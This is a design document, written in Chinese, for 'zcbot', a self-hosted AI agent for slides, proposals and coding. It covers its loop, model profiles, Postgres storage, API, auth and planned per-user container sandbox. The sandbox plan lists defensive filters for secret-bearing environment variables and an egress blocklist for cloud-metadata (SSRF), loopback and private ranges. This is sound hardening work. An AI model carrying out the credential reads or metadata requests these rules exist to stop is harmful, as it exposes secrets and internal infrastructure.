zcbot/DESIGN.md

510 lines
46 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 设计文档
> 本地运行的个人任务 agent,覆盖三类工作:汇报 PPT、科研申报书、代码。
> 模型自由(LiteLLM 接 OpenAI-compatible),代码可控(目标 1500-2000 行 Python)。
---
## 1. 边界
**做**:PPT(`python-pptx`)/ 申报书(`python-docx`)/ 编码(读写文件 + shell + 迭代验证)。
**不做**:子 agent / IM 渠道 / 自定义 RAG / 锁定 Anthropic / Eval Suite(个人工具 dogfooding 替代)。多用户 / Web UI 归 §7。
**关键约束**:
- 模型自由:LiteLLM + OpenAI-compatible(默认 DeepSeek V4)
- 任务持久化:任意时刻关机,下次能恢复
- 演化性:模型升级不需要大改架构
- **形态兼容**:本地与 SaaS 共享同一份 core / storage(PG)/ web `/v1` API,无 CLI REPL / 本地 in-process 分叉(2026-05-18 撤,详 §7.9)
---
## 2. 架构
```
zcbot/
├── core/
│ ├── capabilities.py # ModelCapabilities,从 yaml 加载
│ ├── llm.py # LiteLLM 封装,按 capabilities 自动启 features
│ ├── loop.py # ReAct 主循环 + cancel_check 协作式 cancel
│ ├── probe.py # 真实探测对账 yaml 声称的能力
│ ├── session.py # 消息列表 + meta + 落 PG
│ ├── skills.py # SkillRegistry(Anthropic 渐进披露)
│ ├── task.py # TaskState
│ ├── memory.py # per-user .memory/ 双层记忆
│ ├── paths.py # task_dir db form 归一(to_db_path / from_db_path)
│ ├── storage/{engine,models,utils}.py # SQLAlchemy 2.x ORM
│ └── agent_builder.py # 装配 lib:build_agent / system prompt / validate_task_name
├── tools/
│ ├── base.py # Tool 基类 + _resolve
│ ├── fs.py # read / write / edit (唯一匹配) / glob / grep
│ ├── shell.py # subprocess + 黑名单
│ ├── run_python.py # tmp .py + subprocess + 敏感 env 过滤
│ └── skill_tool.py # load_skill
├── skills/{coding,ppt,proposal}/ # SKILL.md + references / scripts / assets
├── prompts/system/general_v1.md
├── config/{agent.yaml, models/*.yaml}
├── workspace/users/<user_id>/
│ ├── .memory/{core.md, extended/*.md} # 跨 task 共享记忆,dotfile 隔离
│ └── <working_dir>/ # 工作目录,用户起名(同 working_dir 多 task 共享)
├── web/{app.py, auth.py, broker.py, sinks.py, static/dev.html}
├── db/migrations/ # alembic
└── main.py # 入口:web / db / probe / user 四子命令
```
**工作目录(working_dir) = `workspace/users/<user_id>/<working_dir>/`,所有 skill 产物写到这里**,绝对路径在 system prompt 显式给 agent。写错位置(cwd / `skills/` / repo 根)git status 立刻报红。`user_id` 走 JWT `sub`:邮箱密码登录由 users 表 email lookup 直读,platform 登录由 platform 直传;**无 SENTINEL fallback,所有路径必须显式有 user_id**。**`name`(任务显示名)必填**,**`working_dir` 可选**(留空 → 用 name 作目录名);两者都是简单名(不含 `/\..`、不以 `.` 起头,挡 `.memory`);同 `working_dir` 多 task 自动共享同目录(§7.1)。SaaS 化只是把 `workspace/``<storage_root>/`,布局不变。
**启动**:`python main.py web` → uvicorn 起 FastAPI → lifespan 跑 stale-run reaper → 客户端走 `/v1/auth/login_password`(邮箱密码)或 `/v1/auth/login`(platform_key)换 JWT → `POST /v1/tasks/{id}/messages` 起 BG 线程,内部 `build_agent``agent.yaml` → 加载 `ModelCapabilities``LLM(caps)` → 拼 system prompt(general_v1.md + skill discovery + cwd + working_dir 绝对路径)→ 装配工具 → `AgentLoop.run`。`ZCBOT_DB_URL` 指 PG。
---
## 3. 核心组件
### 3.1 主循环(`core/loop.py`)
ReAct:LLM → 若有 tool_calls 就执行 → 结果塞回消息 → 再调 LLM。无 tool_call 即返回。
- 工具结果对模型截 16K 字符,用户预览 400 字符
- 事件通过 `sink.emit` 流式发布(§7 A,SSE 桥);content delta 在 stream chunk 到达即时 emit `text` 事件,前端打字机渲染
- **LLM 调用走 `LLM.chat_stream`(litellm `stream=True`)**:chunks 攒齐后用 `litellm.stream_chunk_builder` 拼回完整 response 给 tool_calls 解析 + usage 记账;`stream_options.include_usage=True` 让最后一个 chunk 带 usage
- `cancel_check: Optional[Callable[[], bool]]` 协作式 cancel,每轮 LLM 前 + **stream chunk 之间** + tool_calls 之间 poll;chunk 间 poll 让 cancel 延迟从「整轮 generation 时长」(几十秒)降到「单 chunk 间隔」(~100ms);中途 cancel 时已收 chunk 丢弃,assistant 半截内容不入库(resume 上下文干净);命中给未执行 tool_call 补 `[cancelled by user]` 保 LiteLLM 协议
- `max_iterations` 从 capabilities 读
### 3.2 Model Profile(`core/capabilities.py` + `config/models/*.yaml`)
每模型一份 yaml,agent 行为按档案动态调整。新模型 5 分钟接入,不改代码。
字段:max/reliable_context、max_output、parallel_tools、tool_calling_quality、thinking_mode、reasoning_effort_levels、code_quality、enable_run_python、max_iterations、optimal_temperature、prompt_caching、extended_thinking、api_base、api_key_env。
`LLM.chat` 按 capabilities 自动启 `parallel_tool_calls` / `reasoning_effort` / Anthropic prompt-caching header。
### 3.3 Capability Probing(`core/probe.py` + `main.py probe`)
yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` / `thinking_mode` / `long_context`(opt-in)。不改 yaml,只出 rich Table 报告。**显式触发,不进启动路径**(避免烧 API)。
### 3.4 工具系统(Hybrid 范式)
**JSON tool call**(`tools/`):read / write / edit / glob / grep / shell / run_python / load_skill — 离散操作。
**Code execution**(`run_python`):tmp `.py` + subprocess + 工作目录限制 + 敏感 env 过滤(`*API_KEY *TOKEN *SECRET *PASSWORD *PRIVATE_KEY`)— 批处理 / 算数据 / 生成文档。
关键设计:`edit` **唯一匹配**(CoreCoder 风格,old_str 重复即报错);工具按**原子操作**切分,不做 `make_pptx()` 这种高级封装。
### 3.5 Skill 系统(Anthropic 渐进披露)
对齐 Anthropic 2025-12 开放标准。三层加载:Discovery(`name + description`,几百 token)→ Activation(`load_skill(name)` 加载完整 SKILL.md,1-5K)→ Execution(SKILL.md 指 `references/xxx` 按需拉)。
原则:写 WHY+WHAT,不写 Step 1/2/3。description 决定模型能否触发。
### 3.6 Session 与 Task
**Session**(`core/session.py`)= 消息列表 + meta,**直接 ORM 写 PG `messages` 表**(append-only,`jsonb` 存 LiteLLM 原样 payload)。
**Task**(`core/task.py`)= Session 上层,含 name / working_dir / skill / description / status / model / reasoning_effort / 时间戳 / tokens。**直接 ORM 写 PG `tasks` 表**。working_dir FS 目录只存 skill 产物,无 `state.json` / `messages.json`。本地 + SaaS **同一份 schema 和 ORM**,差别只在 `ZCBOT_DB_URL`
**字段三件套语义**:
- `name`(NOT NULL) = 任务显示名,UI 列表 / 标题 / docx 导出文件名用;独立于工作目录
- `working_dir` = 工作目录(相对 ROOT posix 串),同 working_dir 多 task 共享同物理目录
- `skill` = 智能体类型标签(coding / ppt / proposal / ...自由形式,后续可对齐 `skills/` 注册表强校验)
**创建语义** — working_dir 目录在 task 创建入口立即 `mkdir(parents=True, exist_ok=True)`(`name` 必填代表"显式声明项目";`working_dir` 留空 → fallback 用 name 作目录名)。`Task` 行在 web `POST /v1/tasks` 时即写。**Task 切换 / 软删 / 硬删** 走 dev SPA + `/v1/tasks*`(`DELETE /v1/tasks/{id}` 删 DB 行 + messages CASCADE;**FS 一律不动**,同 name 多 task 共享,绝不 rmtree)。原 CLI REPL(`chat / tasks / export`)2026-05-18 撤,详 §7.9。
**原子性** — PG INSERT 天然原子;skill 产物走 `core.session.atomic_write_text`(tmp + fsync + replace)。
### 3.7 双层记忆(`core/memory.py`)
跨 task 共享的事实(用户偏好 / 项目约定 / 模型 quirk)放 `workspace/users/<user_id>/.memory/`(per-user,dotfile 隔离):
| 层 | 文件 | 加载 | 适合 |
|---|---|---|---|
| Core | `core.md` | 每次 build_agent 进 system prompt | 跨任务高频精炼事实(几百 token) |
| Extended | `extended/*.md` | 索引(标题+绝对路径)进 prompt,内容靠 `read` 工具按需拉 | 大量低频专题 |
**system prompt 每次 build_agent 重建**(resume 也是),memory 演化即时生效。memory 由人填(也允许 agent 用 `write` 写),系统不自动维护 — **事实由用户判断,不由 LLM 自动总结**
**memory 永远在 FS,不入 DB**:本地 `workspace/users/<user_id>/.memory/`,SaaS `<storage_root>/users/<user_id>/.memory/`(bind mount 进容器)。**dotfile `.memory/` 命名**避免项目名取 `memory` 时撞;`validate_task_name` 拒 `.` 起头双向防呆。理由:用户笔记语义,FS 读写 + 编辑器手编是产品的一部分;跨 task 共享靠"同一 user 同一目录"自动达成,无需 schema。
---
## 4. 模型路由
默认 `default_model: deepseek_v4.flash`。分模式路由思路:
| 模式 | 模型 | 理由 |
|---|---|---|
| 通用 / 编码 / PPT / 提案初稿 | flash | SWE-Bench 80.6,够用 |
| 复杂 bug / 提案终稿 | pro + reasoning_effort=max | 关键产出 |
| fallback | claude_4_7.opus | V4 不行时手动切 |
成本量级:
| 任务 | flash | pro-max | Opus 4.7 |
|---|---|---|---|
| 修 bug(~10 轮) | $0.01 | $0.05 | $0.30 |
| 5 页 PPT | $0.05 | $0.20 | $1.50 |
| 完整申报书 | $0.30 | $1.50 | $10-15 |
99% 任务 flash 够用,关键终稿升 Pro。
---
## 5. 设计哲学
### 核心原则:Less Scaffolding, More Trust
老 agent 框架失败的核心:给 LLM 太多脚手架,模型升级后这些脚手架成枷锁。**正确做法**:把 LLM 当一个**会持续变强的同事**,告诉它目标,不告诉它步骤。
### 七条具体原则
1. Prompt 用 WHY+WHAT 不用 HOW — 教"怎么思考"会降智强模型
2. Skill 渐进披露,不写完整流程
3. 工具按原子操作切分,不做高级封装 — 留组合空间
4. Model Profile 化,不硬编码
5. Capability Probing 对账实际行为
6. 版本化 Prompt(等真要切版本时再做)
7. ~~eval 评估~~ — 已删,dogfooding 更有效
### 借鉴
| 来源 | 借鉴 |
|---|---|
| CoreCoder | 主循环简洁实现 + Edit 唯一匹配 |
| Anthropic Skills | SKILL.md 渐进披露 |
| nanobot | Workspace + 任务隔离 |
| smolagents | LiteLLM + CodeAct 启发 run_python |
---
## 6. 风险与取舍
| 风险 | 缓解 |
|---|---|
| run_python sandbox 不够强(本地非真隔离) | 工作目录限制 + 敏感 env 过滤;SaaS 走 docker exec(§7.5);本地依赖用户最终审阅 |
| V4 某些复杂任务不如 Claude | dogfooding 判断,fallback 手动切 |
| Skill description 不准 → 触发不到 | Pro 优化描述,实战观察 |
| Long context 退化 | `probe --long-context` 探测可靠 ceiling |
| 本地 PG 离线 | `docker compose up -d` 起本地 PG 兜底;也可连远端 dev / staging PG |
**Hybrid 范式而非纯 CodeAgent**:V4 JSON tool call 已稳定;sandbox 成本只在需要时付;兼容 thinking。
**Anthropic Skill 标准**:行业标准已成,跨 SDK 兼容。
**不做 subagent**:状态管理爆炸;单 agent + skill 已覆盖 95% 场景。
**不做 Eval Suite**:个人单用户场景,dogfooding 信号比造作 case 强,probe 覆盖健康检查。
---
## 7. SaaS 化(草案,status=design,2026-05-12)
> §1-§6 是**本地 dogfood 形态**;本节是**SaaS 形态**,把 core 包成多用户在线服务。
> 不引入 platform/core 切分 — core 就是后端,直接对用户做 auth。两条形态共享同一份 core,差别只在反代部署。本节落地前 §1-§6 路线照走,不阻塞 dogfood。
### 7.0 与本地形态的兼容性
SaaS 化不是"重写",而是把同一份 web `/v1` 服务部署到云端。
| 维度 | 本地 | SaaS |
|---|---|---|
| 入口 | `python main.py web` 起 FastAPI + dev SPA | uvicorn 部署形态,反代到 platform UI |
| Storage | **PG**(`ZCBOT_DB_URL` 指 docker compose / 远端 dev PG) | **PG**(指生产 PG) |
| working_dir | `workspace/users/<user_id>/<name>/` | `<storage_root>/users/<user_id>/<name>/` |
| Memory | `workspace/users/<user_id>/.memory/` (FS, dotfile) | `<storage_root>/users/<user_id>/.memory/` |
| Sandbox | subprocess + env 过滤 | per-user sandbox container + per-tool exec |
| Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径;邮箱密码同步下线) |
`workspace/` 仅存 skill 产物,state / messages 全在 PG。本地 vs SaaS 共用 `users/<user_id>/` 子树布局,差别只在外层根目录,不在 storage 形态。
### 7.1 心智模型:Task 一等公民 + Dir 文件副视图
两个并列入口,正交不嵌套:
| 视图 | 入口语义 | 适用场景 | API |
|---|---|---|---|
| **Task list**(主) | "我的对话历史" | 任务驱动:"继续昨天那个 bug fix" | `GET /v1/tasks?status=&working_dir=` |
| **Dir tree**(辅) | "我的文件资产" | 项目驱动:"看汇报项目里所有素材 + 关联对话" | `GET /v1/folders` + `GET /v1/files` |
类比:macOS Finder + 最近使用 / Apple Notes 文件夹视图 + 全部备忘录。两个视图查同一份数据的不同切面,**dir 不是 task 的父容器**。
- **Task** = DB 一行,一等公民,自带 `working_dir` 字段:
- **新建必给 `name`**(简单名),`working_dir = workspace/users/<user_id>/<name>/`(留空 fallback 用 name)。同 working_dir 多 task 共享 → "同一项目多对话"语义
- **指定 → 项目化 task**,同 working_dir 多 task 自动共享 `source/` / `sections/` / 终稿(无需建"项目"实体)
- **Dir** = FS 路径,**无 DB 实体,path 即标识**;无父子结构,改名走顶层目录 DB-aware 同事务 cascade(§7.4)
- **No-subtask**:同 working_dir 允许(同项目多对话),前缀嵌套拒
- **Messages** = DB 表,append-only,`jsonb` 存 LiteLLM 原样 payload
- **Skill 产物**全落 working_dir,不引入 artifacts 表;SKILL.md 指示 agent 清中间件
- **Skill 定义**是项目代码,跟部署走,所有用户共享
**空 dir**(用户上传素材但还没开 task)在 dir tree 视图正常展示 — 上传本身是有效产品行为;UI 上跟"有 task 的 dir"做轻量区分(如 task 数 badge)。
state / messages 两形态都在 PG,FS 只承担 skill 产物。多 task 共享同 working_dir 时由 §7.8 文件级悲观锁兜底。
### 7.2 资源模型(/v1)
Task 一等公民;files 与 task 正交(§7.1),走 user-rooted `/v1/files*`,以 `workspace/users/<uid>/` 为边界(不强制选 task)。所有路由统一 `/v1` 前缀,**返 JSON**;前端由 platform 端实现(§7.9 取舍),本地开发用 FastAPI `/docs` Swagger UI 自查。
```
Tasks
POST /v1/tasks {name(必填), working_dir?, description?, skill?};不合法 → 400
GET /v1/tasks?page=&page_size=&status=&skill=&working_dir=&q=&ordering=
分页 1-based;page_size 1100 clamp;ordering DRF 风格逗号分隔,
`-field` 倒序;allowlist created_at/updated_at/name/status;
**默认 `-created_at`**;返 `{page, page_size, count, results}`
GET /v1/tasks/{id} 单 task meta
PATCH /v1/tasks/{id} {status?,description?,name?,skill?};active 不让从 web 切回
DELETE /v1/tasks/{id} 硬删:DB 行 + messages CASCADE;**FS working_dir 保留**
GET /v1/folders 列当前 user 的 working_dir + 关联 task 计数 + 最后使用时间
GET /v1/tasks/{id}/messages 历史(后续 ?search= 走 jsonb GIN / tsvector)
POST /v1/tasks/{id}/messages {content} 发消息 + 起 run,返 {events_url}
**单活 run**(0004 简化):tasks.run_status in
('running','cancelling') → 409;`SELECT … FOR UPDATE`
锁 task 行序列化并发 POST 防 messages.idx race
GET /v1/tasks/{id}/events SSE 流(见下) — 订阅 task 当前活动事件,
单活 run 形态下无歧义,客户端只需 task_id
POST /v1/tasks/{id}/cancel 协作式 cancel(202):标 cancelling + 信号 broker;
BG loop 在 stream chunk 间 + 工具调用之间 poll 看见即退;
run_status != running → 409;cancel 延迟 ~ 单 chunk 间隔(100ms 级)
Auth
POST /v1/auth/login {user_id, platform_key} → JWT(platform 机器对机器)
POST /v1/auth/login_password {email, password} → JWT(dev SPA / 同事试用)
bcrypt 校验 users.password_hash(0005 加 UNIQUE(email));
错邮箱 / 错密码 / 未设密码统一 403 防探测
Files(user-rooted,workspace/users/<uid>/ 为根)
GET /v1/files?path= 列子目录 {entries, crumbs, exists, root, current};
留空 → user_root;dotfile(`.memory/` 等)一律隐藏
POST /v1/files/upload multipart;path 通过 form;严格拒含 / \\ .. 的 filename
GET /v1/files/download?path= 下载单文件;`..` / 绝对 / symlink 越界 400
POST /v1/files/delete {path} 文件或空目录;非空目录 400;user_root 拒;
**path 是顶层目录(user_root 直接子项)且被 task 引用 → 409**
POST /v1/files/rename {path, new_name};sibling 已存在 → 409;
**path 是顶层目录** → 同事务 SELECT FOR UPDATE 锁关联 task +
任一 running/cancelling → 409 + check_no_subtask 防嵌套;
DB UPDATE 在 FS rename 之前,FS 失败回滚 DB
Export
GET /v1/tasks/{id}/export docx 临时文件下载,BackgroundTask 删 tmp
Misc
GET /healthz {"status":"ok"}
GET / 302 → /static/dev.html(本地 dev SPA)
```
**SSE 事件**(`Content-Type: text/event-stream`,响应头带 `X-Accel-Buffering: no` 给 nginx 反代友好;每事件 `event: <type>` + `data: <JSON>`):
```
run_start {}
llm_start {}
text {"delta":"<delta 文本>"}
tool_call {"name":"...","args":{...},"args_preview":"..."}
tool_result {"name":"...","preview":"...","truncated":bool} # 完整 result 走 DB,SSE 只送预览
llm_end {"prompt_tokens":N,"completion_tokens":N}
cancelled {} # cancel 命中,后随 done 收流
error {"msg":"<type>: <detail>"}
done {}
```
订阅 fan-out:同 run 多订阅者(刷新 / 多 tab / 多设备)每订阅 1 独立 queue。订阅迟到(run 已 done)立刻收 done 不挂。事件不持久化 — messages 走 PG,未来要"刷新继续看流式"再加 event log。
**版本化**:`/v1` minor 半年向后兼容,major 6 个月 deprecation。
**CORS**:本地 dev `allow_origins=["*"]`;部署 platform 时收紧。
**Auth**:Bearer JWT 走所有 `/v1/tasks*`;`/healthz`、`/docs`、`/openapi.json`、`/`、`/v1/auth/login*`、`/static/*` 豁免。
### 7.3 认证
**当前形态(D' 过渡)**:两条 login 路径签**同款 JWT**(HS256,`JWT_SECRET` env 签,默 7d TTL):
- `POST /v1/auth/login {user_id, platform_key}` — platform 服务端机器对机器入口,持 `PLATFORM_KEY` 共享密钥可为任意 user_id 签 token(等同 user 身份由 platform 注入)
- `POST /v1/auth/login_password {email, password}` — dev SPA / 同事试用,`users.email` UNIQUE + bcrypt 校验 `password_hash`;`main.py user add` CLI 发用户
后续 `Authorization: Bearer <jwt>` 走所有 /v1/tasks*,FastAPI `Depends(require_user)` 验签 → 提取 user_id → SELECT/UPDATE 全带 `Task.user_id == user_id` 条件做隔离。`PLATFORM_KEY` / `JWT_SECRET` 任一缺失 → app 启动 fail-fast。
**信任模型**:platform 是单点可信中间层(持 PLATFORM_KEY = 可为任意 user_id 签 token),风险与"platform 服务端泄漏 = 用户身份泄漏"同级,可接受。
**未来形态(真 OIDC)**:Provider 签 ID token,zcbot `/v1/auth/login` 内部从"校验 PLATFORM_KEY"换成"校验 ID token 签名 + 提取 sub" — **路由层 Depends 不动**,Bearer JWT 契约不变;邮箱密码路径同步下线。所有 storage/executor scoped by `user_id`,**无 tenant 层** — 个人 SaaS 用不上,做企业版再加 `org_id` 等价隔离。
### 7.4 存储:Postgres + 本地文件系统
```sql
users(user_id uuid pk, email text null unique, password_hash text null, oidc_subject null, plan null, created_at)
-- email UNIQUE (0005);NULL 不冲突,允许 platform_key 入口 user 共存
-- 入口三条:① main.py user add(bcrypt → password_hash;dev SPA 邮箱密码登录用)
-- ② /v1/auth/login platform_key 路径 ensure_user_row(只填 user_id)
-- ③ 未来 OIDC(替换 login 内部;email/oidc_subject 由 ID token 注入)
tasks(task_id uuid pk, user_id fk, name text not null, working_dir text not null, skill, description,
status, model_profile, tokens_prompt, tokens_completion, cost_usd,
run_status text not null default 'idle', -- idle/running/cancelling/error(0004 合 runs 表)
run_error text null,
created_at, updated_at);
create index on tasks (user_id, working_dir);
-- working_dir 存储:相对 ROOT 的 posix 串(workspace/users/<uid>/<name>);写入入口
-- 只接 simple name,越出 ROOT → to_db_path raise(不留 ROOT 外路径)
-- 读写边界统一过 core/paths.py::{to_db_path, from_db_path}
-- 入口校验 validate_task_name():拒空 / 含 /\NUL / `.` 起头 / >255
messages(message_id uuid pk, task_id fk, idx int not null,
payload jsonb not null, tokens_in, tokens_out,
model_profile text null, -- 0006:只在 assistant 行有值,标产生该 msg 的模型
created_at,
unique (task_id, idx));
create index on messages using gin (payload jsonb_path_ops);
usage_events(event_id uuid pk, user_id fk, task_id fk on delete cascade,
message_id fk on delete set null,
kind text not null, -- chat / image / video / audio / ...(0006 起只 chat,媒体扩展位)
model_profile text not null,
units jsonb not null, -- chat: {tokens_in, tokens_out};image: {count, size};...
cost_usd numeric(12,6) not null default 0,
created_at);
create index on usage_events (user_id, created_at); -- 用户级聚合走这条,JOIN-free
create index on usage_events (task_id);
create index on usage_events (model_profile, created_at);
```
**0004 简化**:`runs` 表角色等价"task 当前 in-flight 状态",合并到 `tasks.run_status` + `run_error`;`run_id` 单活 run 形态下对客户端 / broker / cancel 全冗余 → 客户端只需 task_id。
**0006 模型切换 + 用量统计**:`tasks.model_profile` 从 0001 起就有,本次开始真用 —— task 创建时 UI 选 / PATCH 切;`build_agent` resume 读它而非 `cfg["default_model"]`(A 粒度:下条 send 才生效,当前 run 不受影响)。`messages.model_profile` 新增,assistant 行落实际用的模型,前端按 model 切换点画小标。`usage_events` 表 0004 删掉的简陋版形态(id/user_id/task_id/run_id/kind/value/ts)字段不够多态,本次重建 v2 形态:per-event 一行,`units` JSONB 装多态用量(token / 张数 / 秒数),`cost_usd` 用 litellm cost map 算;chat 已接入(`core/loop.py` 在 assistant message 入库后调 `record_chat_usage`),媒体工具未来加 image/video kind 不动 schema。**`tasks.tokens_prompt/completion/cost_usd` 三列保留作粗 task 级概览**,继续由 `sync_task_tokens` 维护;`messages.tokens_in/out` 同时双写,查 message 详情不需 JOIN。统计真实 source-of-truth 走 `usage_events`,跨用户 / 跨模型 / 跨时间维度都按 `(user_id, created_at)` 索引直查。
**run_status 终态语义**:`ok` / `cancelled` 收尾回 `idle`(用户视角等价),只有 `error` 持久(让用户能看到),起新 run 时由 `post_message` 清。
**No-subtask 校验**(`create_task`):同 user 下查 `new LIKE existing/%``existing LIKE new/%`,中一则拒;同 working_dir 允许。两侧先用 `from_db_path` 归一到 absolute posix 再比前缀(混合存储形态不漏判),数量小直接 Python 端比对,不在 SQL 里拼分隔符。
**Folder rename / delete**(`/v1/files/rename` + `/v1/files/delete`):**files API 是目录树唯一 mutation 入口,DB-FS 一致性作服务端不变量内化**(§7.9 架构教训)。顶层目录(user_root 直接子项)走 DB-aware 分支:事务内 `SELECT ... FOR UPDATE` 锁关联 task + 任一 running/cancelling → 409 + `check_no_subtask(exclude=被改名 tids)` 防嵌套;rename UPDATE DB 在 FS rename 之前(FS 失败可回滚);delete 顶层目录有任意 task 引用 → 409 要求先 DELETE 关联 task。
**文件系统**(本地 `<storage_root>` = `workspace/`,SaaS 替换为部署根):
```
<storage_root>/users/<user_id>/
.memory/{core.md, extended/} # per-user 记忆,dotfile 隔离,不入 DB
<name>/ # 项目目录,name 用户起(必填),working_dir 直接落这
# 同 name 多 task 共享同目录(§7.1)
```
**Storage 实现:单一 PG ORM**(本地 + SaaS 共用):一份 schema、一份 SQLAlchemy、一份查询,无 adapter,无 SQL 方言适配,无契约测试。alembic 管 migration。
### 7.5 沙盒:Per-user 容器 + Per-tool exec
| 选择 | 理由 |
|---|---|
| 每 user 长驻 sandbox container | 文件模型本来以 `<storage_root>/users/<user_id>/` 为安全边界;同 user 多 task / working_dir 共享素材与中间产物,per-user 容器比 per-task 容器更贴合心智模型 |
| 每 tool 调用一次 `docker exec` | exec 级 timeout / cwd / 资源统计;一轮对话内多次 tool call 复用同一容器 |
| 空闲 5 分钟回收 | 对话结束后进入 idle;5 分钟内新对话 / 新 tool call 复用,否则销毁;不浪费也避免频繁 cold start |
| bind mount = user root | `<storage_root>/users/<user_id>/``/workspace`;每次 exec 显式 `cwd=/workspace/<working_dir>`;同 user 内不做运行时隔离,跨 user 由独立容器 + 独立 mount 隔离 |
**边界划分**:Control plane 留在宿主后端,Execution plane 进容器。宿主后端负责 auth / JWT / DB 事务 / task-message 状态机 / `/v1/files` 路径校验与上传下载 / SSE broker / LLM 调用 / 受控 `web_search``web_fetch` / 配额审计。容器只跑不可信执行: `shell`、`run_python`、用户或模型生成脚本、编译器 / 解释器 / 包管理器 / 渲染命令。目标不是"所有操作都进容器",而是"所有不可信代码执行都不能在宿主执行";否则 DB 凭据、JWT secret、对象存储凭据反而更容易被带进执行面。
**硬限制**:cgroup CPU/mem、`pids-limit`、单次 exec timeout、同 user 并发 exec 数、上传大小、root fs read-only、`tmpfs /tmp`、no-new-privileges、drop ALL caps、非 root 用户运行。`run_python` 临时文件落 `/tmp/zcbot/<task_id>/` 或 working_dir 受控临时目录;exec 结束后按进程组清理,避免后台进程常驻。
**软配额**:按 user 计入 DB,超额返回 429 / 402 / 明确错误。配额项包括 workspace 磁盘总量、月度 LLM cost / tokens、tool wall time、文件上传下载流量、网络下载量、running task / exec 并发数。磁盘配额起步用应用层统计(上传 / write / tool 执行前后检查 + 周期扫 user root),后续需要更硬边界再上 filesystem project quota / volume driver。
**网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。
**选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。
**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定)** — 原则到代码的具化,实施时按此对账,避免靠记忆:
1. **网络 blocklist 硬编码段**(容器 iptables 启动脚本必含,**任一缺失视为 Stage C 未完成**):
- `169.254.0.0/16`(cloud metadata,AWS/GCP/Azure 通用 SSRF 攻击向量,Capital One 2019 同款)
- `127.0.0.0/8` / `::1`(loopback,防容器回头打宿主端口)
- `10.0.0.0/8` / `172.16.0.0/12` / `192.168.0.0/16`(内网三段)
- `100.64.0.0/10`(CGNAT,云平台常用)
- **PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,无论它落在哪个段;Docker 用户自定义网络 / VPC peering 等设置会让"段级 block 看似已覆盖"实际能直连)
2. **网络 egress 模型**:容器内 `HTTP_PROXY` / `HTTPS_PROXY` env 强制走宿主侧 proxy + 容器 iptables `DROP outbound except <proxy port>`(防 SDK 不读 env 绕过)。Proxy 跑宿主侧(Squid 或自家 aiohttp),负责:① 域名 allowlist;② 红线段 IP block(同上,proxy 侧也再做一次,defense-in-depth);③ per-user 出网字节计量,纳入 §7.5 软配额(超额 429);④ 审计日志 `network_audit (user_id, task_id, ts, method, host, path, status, bytes_in, bytes_out)`。**Allowlist 初始集**:`*.pypi.org` / `*.pythonhosted.org` / `github.com` / `raw.githubusercontent.com` / `codeload.github.com` / `objects.githubusercontent.com` / `*.npmjs.org` + 部署配置的 PyPI 镜像域名。后续按用户反馈逐步加,优于"全开后某天挖矿事件"。
3. **进程组清理协议**:`docker exec` 命令通过 `setsid` 包一层(`docker exec <c> setsid <cmd>` 或在容器 entrypoint 内封装);timeout / cancel / 正常结束三种路径都走 `kill -- -PGID` 杀整个进程组。**目的**:防 `nohup &` / `disown` / 派生 daemon 在容器内跨 exec 持久化。同 user 不做内隔离 → 残留进程能看到后续 exec 的 in-memory 状态,这是接受的 #1 残留风险,但其前提是没有 stale 进程能跨 exec 存活——这条协议守不住,残留风险就放大成"跨对话持久后门"。
4. **磁盘配额硬化时点**:首版用应用层统计 + 周期扫描(对应 §7.5 软配额);**外部用户开放前必须升级到 xfs project quota 或 ext4 project quota 或 zfs dataset quota**。否则"扫描间隙打满共享 fs"会拖死同节点其他 user(攻击者写满速度远快于扫描周期),且不属于配额超额行为,排查痛苦。
5. **Executor 接口签名 + runtime config 注入**:不在工具调用层 hard-code `docker exec`,通过 backend driver 抽象:
```python
class Executor:
async def call_tool(self, tool: str, args: dict, ctx: ExecCtx) -> ToolResult: ...
```
Container 创建参数走 config:`ZCBOT_SANDBOX_RUNTIME=runc|runsc|...`(默 `runc`),per-user 容器起的时候 `docker run --runtime=<runtime>`。**理由**:未来切 gVisor / Firecracker / Kata / e2b 时应用层零改动(只换 backend driver + 改 config + 重启容器),避免接口形状泄漏 Docker 假设(`docker exec` / `docker cp` / `docker stats`)导致后期重写。
6. **工具按信任域二分,Executor 内部 dispatch**:
- **Host in-process backend**:`read` / `write` / `edit` / `glob` / `grep` / `load_skill` / `web_search` / `web_fetch` — 这些工具原本就在 host 持有凭据(Bocha API key)或走 `paths.py::resolve_user_path` 校验(user-rooted 安全边界已存在,`/v1/files` API 复用同一份),塞进容器既无安全收益又付 ~200ms exec overhead × N 次。
- **Container exec backend**:`shell` / `run_python` — 执行模型生成的任意代码,必须容器隔离。
- Dispatcher 内部分流,使用方(`AgentLoop`)零感知。**接口形状按"未来若需全部进容器 + 内部 tool-runner"留好**:只换 host backend 实现成 unix socket RPC,接口不动。
**升级触发信号(写下来防遗忘,反向兜底:无信号不升级)**:
| 升级方向 | 触发信号 | 不升级的理由 |
|---|---|---|
| Docker → **gVisor** (`runsc`) | 开放陌生用户注册 / 容器逃逸 CVE 公开未及时打补丁窗口期 / 出现可疑 syscall 模式告警 | 现状 Docker + 完整 hardening 已挡住主流容器逃逸路径外的攻击,剩下 kernel 0day 在 dogfood + 信任用户阶段不是 #1 风险;gVisor syscall 重 -30~50% 是真代价 |
| gVisor → **Firecracker / e2b** | 合规客户(PCI / HIPAA) / 高密度多租户(单机 100+ user) / gVisor 兼容性墙撞死(某 C 扩展跑不起来) | Firecracker 内存账每 VM 100MB+ 起步,zcbot 量级不划算;e2b 让数据出去执行再回来,与 storage_root 自持模型冲突 |
